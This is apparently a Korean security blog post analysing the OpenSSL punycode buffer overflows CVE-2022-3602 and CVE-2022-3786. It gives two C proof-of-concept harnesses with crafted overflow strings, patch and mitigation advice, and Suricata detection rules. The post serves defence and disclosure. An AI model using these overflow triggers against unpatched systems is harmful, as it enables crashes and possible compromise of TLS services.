1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-3602
[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-3786

- OpenSSL에서 X.509 인증서의 이메일 주소 이름 제약 조건 검사 기능 수행 중 버퍼 오버 플로우가 발생 가능

① CVE-2022-3602 : 조작된 이메일 주소가 공격자가 제어하는 스택에서 정확히 4바이트 오버플로를 허용

② CVE-2022-3786 : "." 문자(마침표)가 있는 스택에서 임의의 바이트 수를 오버플로하여 서비스 거부 유발

- Heartbleed(2016) 이후 OpenSSL에서 처음 나온 치명적인 취약점

영향받는 버전
OpenSSL 3.0.0 ~ 3.0.6

 

2.1 분석

- X.509 인증서를 확인하는 동안 Punycodeossl_punycode_decode()에서잘못 처리하여 발생

- 공격자는 BoF를 트리거하도록 특수하게 조작된 퓨니코드로 인코딩된 이메일 주소를 포함하여 Exploit 수행

퓨니코드(Puny Code)
- 유니코드 문자열을 호스트 이름에서 허용된 문자만으로 인코딩하는 방법
- ASCII 문자 집합으로 표시할 수 없는 문자를 인코딩
- OpenSSL 3.0.0에서 도입
- 변환된 퓨니코드 문자열에는 예약된 접두어 "xn--"을 덧붙임
ex) 한국 =>  xn--3e0b707e.kr

참고 : https://ko.wikipedia.org/wiki/%ED%93%A8%EB%8B%88%EC%BD%94%EB%93%9C

 

- CVE-2022-3602, CVE-2022-3786 공격 패킷은 다음과 같음

[사진 3] CVE-2022-3602 공격 패킷 일부
[사진 4] CVE-2022-3786 공격 패킷 일부

2.2 PoC

2.2.1 CVE-2022-3602

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

// Edit to change the test string
#define TEST_STRING "hello! -gr25faaaaaaaaaaaaa"

// Edit to change the output buffer's length
#define DECODED_LENGTH 20

int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  uint32_t *decoded = (uint32_t*) malloc(DECODED_LENGTH * 4);
  unsigned int decoded_len = DECODED_LENGTH;

  if(!ossl_punycode_decode(TEST_STRING, strlen(TEST_STRING), decoded, &decoded_len)) {
    printf("Encoding failed!\n");
    free(decoded);
    exit(1);
  }

  printf("encoded: [%ld] %s\n", strlen(TEST_STRING), TEST_STRING);
  printf("decoded: [%d] ", decoded_len);

  int i;
  for(i = 0; i < decoded_len; i++) {
    printf("%lc", decoded[i]);
  }
  printf("\n");

  free(decoded);
  return 0;
}

 

2.2.2 CVE-2022-3786

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

int ossl_a2ulabel(const char *in, char *out, size_t *outlen);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  char *teststring = "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--";
  char out[16];
  size_t outlen = sizeof(out);

  int result = ossl_a2ulabel(teststring, out, &outlen);

  if(result == 1) {
    printf("Ok: [%ld] %s\n", outlen, out);
  } else if(result == 0) {
    printf("Too short: [%ld : %ld] %s\n", outlen, strlen(out), out);
  } else {
    printf("Bad string\n");
    exit(0);
  }

  return 0;
}

 

3. 대응방안

3.1 서버측면

① 사용중인 OpenSSL 버전을 확인하여 취약한 버전일 경우 벤더사에서 제공하는 최신 패치를 적용한다.

- 해당 취약점은 OpenSSL 3.0.7에서 패치

- OpenSSL 버전 확인 방법 참고

 

OpenSSL 버전 확인 - 제타위키

다음 문자열 포함...

zetawiki.com

- OpenSSL 3.0.7의 ossl_punycode_decode()를 확인해보면 BoF 검증을 위한 코드가 추가된 것으로 판단됨.

 

Fix CVE-2022-3786 in punycode decoder. · openssl/openssl@c42165b

Fixed the ossl_a2ulabel() function which also contained a potential buffer overflow, albeit without control of the contents. This overflow could result in a crash (causing a denial of service). Th...

github.com

 

② 업데이트 적용이 어려울 경우

- TLS 서버는 TLS 클라이언트 인증을 사용 중인 경우 수정 사항이 적용될 때까지 해당 기능을 비활성화

 

3.2 네트워크 측면

① 보안 솔루션에 취약점 탐지 정책 적용

alert tls $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Inbound (CVE-2022-3602)"; flow:established,to_client; tls.certs; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039618; rev:1; metadata:attack_target Server, created_at 2022_11_01, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

alert tls $HOME_NET any -> any any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Outbound (CVE-2022-3602)"; flow:established,to_server; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039619; rev:1; metadata:attack_target Server, created_at 2022_11_02, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-3602

https://nvd.nist.gov/vuln/detail/CVE-2022-3786

https://www.openssl.org/news/secadv/20221101.txt

https://www.tenable.com/blog/cve-2022-3786-and-cve-2022-3602-openssl-patches-two-high-severity-vulnerabilities

https://github.com/NCSC-NL/OpenSSL-2022/tree/main/software

https://github.com/openssl/openssl/commit/c42165b5706e42f67ef8ef4c351a9a4c5d21639a

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3602-4byteoverwrite.c

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3786-periods.c

https://github.com/splunk/security_content/pull/2450

https://www.forescout.com/blog/openssl-cve-2022-3602-and-cve-2022-3786-spooky-ssl-what-they-are-and-how-to-mitigate-risk/

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=3442&search=%26depth1%3D%26find_field%3Dtitle%26find_word%3DX509%26page%3D1

- https://www.boannews.com/media/view.asp?idx=111249

https://zetawiki.com/wiki/OpenSSL_%EB%B2%84%EC%A0%84_%ED%99%95%EC%9D%B8

+ Recent posts